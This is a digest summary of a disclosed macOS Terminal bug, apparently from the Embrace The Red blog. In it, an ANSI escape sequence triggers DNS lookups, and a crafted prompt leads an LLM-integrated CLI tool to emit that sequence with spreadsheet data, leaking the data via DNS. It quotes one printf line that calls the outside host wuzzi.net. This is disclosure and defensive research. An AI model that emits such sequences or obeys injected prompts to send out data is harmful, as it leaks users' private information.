Apple patches macOS Terminal bug that let ANSI escape codes trigger DNS exfiltration
MacOS Terminal previously allowed DNS requests via ANSI escape codes, and Apple’s update removed this behavior
Security & privacy Embrace The Red 16 Jul 2026 Disclosure Deployed evidence
Published as “From Indirect Prompt Injection to DNS Exfiltration in macOS Terminal”
Why it matters
Fixing the Terminal bug removes a stealthy data-exfiltration channel that could be triggered by malicious LLM output.
Summary
The author shows that macOS Terminal interprets a specific ANSI escape sequence (\e]7;file://...\a) as a request to resolve a URL, causing a DNS lookup that can carry exfiltrated data. By feeding an LLM-integrated CLI tool a crafted prompt, the LLM emits the escape sequence with data from a spreadsheet, which the Terminal then resolves, leaking the data via DNS. The researcher reported the issue to Apple, which released macOS 26.1 (Tahoe) that stops the DNS request, and also provides guidance for safely encoding control characters in CLI output. The evidence consists of a single end-to-end proof-of-concept video and a disclosed fix.
What they found 2
- The escape sequence "printf \"\e]7;file://some.data.wuzzi.net/\a\"" triggers a DNS request from macOS Terminal.
“printf "\e]7;file://some.data.wuzzi.net/\a"”
- Apple fixed the issue in macOS Tahoe 26.1; after the update the same escape sequence no longer triggers a DNS request.
“Apple addressed the issue in macOS Tahoe 26.1, released on November 3, 2025. After installing the update, the same escape sequence no longer triggers a DNS request in the Terminal app.”
Caveats 2
- The attack relies on LLM-integrated CLI applications that output raw ANSI escape codes, which may not be common in all environments.
- The attack depends on LLM-integrated CLI tools that emit raw ANSI escape sequences, and on the Terminal’s previous handling of those sequences.
What’s new here 4
- Identified that macOS Terminal treats certain ANSI escape sequences as file:// URLs, triggering DNS lookups.
- Demonstrated a full attack chain where LLM output injects those escape codes to exfiltrate spreadsheet data via DNS.
- Coordinated disclosure leading to a fix in macOS 26.1 (Tahoe) that disables the behavior.
- Released encoding utilities for Python and Go to safely render control characters in CLI tools.